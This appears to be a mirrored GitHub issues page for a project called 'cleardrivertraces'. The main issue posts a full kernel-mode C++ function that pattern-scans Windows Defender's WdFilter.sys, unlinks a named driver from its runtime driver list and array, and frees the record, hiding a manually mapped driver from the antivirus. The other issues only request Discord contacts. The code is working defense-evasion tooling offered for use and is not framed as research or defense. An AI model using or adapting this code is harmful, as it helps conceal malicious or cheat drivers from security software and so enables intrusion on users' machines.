Giter Site home page Giter Site logo

cleardrivertraces's People

Contributors

sentient111 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

cleardrivertraces's Issues

can you add clear_wdfilter_driver_list?

`
bool clear_wd_filter_driver_list(const wchar_t* name)
{
DbgBreakPoint();
ULONG WdFilterSize = 0;
auto WdFilter = (ULONG64)GetSystemModuleBase(L"WdFilter.sys", &WdFilterSize);
if (WdFilter == 0) return false;

auto RuntimeDriversList = (ULONG64)FindPattern_Wrapper((PUCHAR)WdFilter, WdFilterSize,
	"48 8B 0D ? ? ? ? FF 05");
if (!RuntimeDriversList) return false;

auto RuntimeDriversCountRef = (ULONG64)FindPattern_Wrapper((PUCHAR)WdFilter, WdFilterSize,
	"FF 05 ? ? ? ? 48 39 11");
if (!RuntimeDriversCountRef) return false;

auto MpFreeDriverInfoExRef = (ULONG64)FindPattern_Wrapper((PUCHAR)WdFilter, WdFilterSize,
	"49 8B C9 ? 89 ? 08 E8 ? ? ? ? ? ? ? ? ? ? ? E9");
if (!MpFreeDriverInfoExRef) {
	MpFreeDriverInfoExRef = (ULONG64)FindPattern_Wrapper((PUCHAR)WdFilter, WdFilterSize,
		"48 89 4A ? 49 8B ? E8 ? ? ? ? ? ? ? ? ? ? ? E9");
	if (!MpFreeDriverInfoExRef) return false;
}

MpFreeDriverInfoExRef += 0x7; // skip until call instruction

RuntimeDriversList = (ULONG64)ResolveRelativeAddress((LPBYTE)RuntimeDriversList, 3);
ULONG64 RuntimeDriversList_Head = RuntimeDriversList - 0x8;
ULONG64 RuntimeDriversCount = (ULONG64)ResolveRelativeAddress((LPBYTE)RuntimeDriversCountRef, 2);
ULONG64 RuntimeDriversArray = RuntimeDriversCount + 0x8;
RuntimeDriversArray = *(ULONG64*)RuntimeDriversArray;
ULONG64 MpFreeDriverInfoEx = (ULONG64)ResolveRelativeAddress((LPBYTE)MpFreeDriverInfoExRef, 1);

for (PLIST_ENTRY Entry = *(PLIST_ENTRY*)(RuntimeDriversList_Head);
	Entry != (LIST_ENTRY*)RuntimeDriversList_Head;
	Entry = Entry->Flink)
{
	//PUNICODE_STRING Unicode_String = (PUNICODE_STRING)((ULONG64)Entry + 0x10);
	UNICODE_STRING Unicode_String = *(UNICODE_STRING*)(Entry + 0x10);
	if (MmIsAddressValid(Unicode_String.Buffer)) {
		LogInfo(0, "Found Driver: %ws", Unicode_String.Buffer);
		if (wcsstr(name, Unicode_String.Buffer)) {

			//remove from RuntimeDriversArray
			bool removedRuntimeDriversArray = false;
			PVOID SameIndexList = (PVOID)((ULONG64)Entry - 0x10);
			for (int k = 0; k < 256; k++) { // max RuntimeDriversArray elements

				PVOID value = *(PVOID*)(RuntimeDriversArray + (k * 8));
				if (value == SameIndexList) {
					PVOID emptyval = (PVOID)(RuntimeDriversCount + 1); // this is not count+1 is position of cout addr+1
					*(PVOID*)(RuntimeDriversArray + (k * 8)) = emptyval;
					removedRuntimeDriversArray = true;
					break;
				}
			}

			if (!removedRuntimeDriversArray) return false;


			auto NextEntry = Entry->Flink;
			auto PrevEntry = Entry->Blink;

			NextEntry->Blink = PrevEntry;
			PrevEntry->Flink = NextEntry;

			// decrement RuntimeDriversCount
			*(ULONG*)RuntimeDriversCount = *(ULONG*)RuntimeDriversCount - 1;
			// call MpFreeDriverInfoEx
			ULONG64 DriverInfo = (ULONG64)Entry - 0x20;

			//verify DriverInfo Magic
			USHORT Magic = *(USHORT*)DriverInfo;
			if (Magic != 0xDA18) {
				//Log("[!] DriverInfo Magic is invalid, new wdfilter version?, driver info will not be released to prevent bsod" << std::endl);
			}
			else {
				using MpFreeDriverInfoExFn = void(__fastcall*)(ULONG64);
				MpFreeDriverInfoExFn MpFreeDriverInfoEx_ = (MpFreeDriverInfoExFn)MpFreeDriverInfoEx;
				MpFreeDriverInfoEx_(DriverInfo);
			}

			//LogInfo(0, "WdFilterDriverList Cleaned: %s\n", Unicode_String.Buffer);
			return true;
		}
	}
}

return false;

}
`

This code was pretty much taken from kdmapper and converted to kernel code, but there are some problems, Unable to match the loaded driver name in runtimeDrivers

your discord

can u add me on discord i wanna talk with u

my discord = crybest.

Discord

Hey what’s your discord again friend. Thanks

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.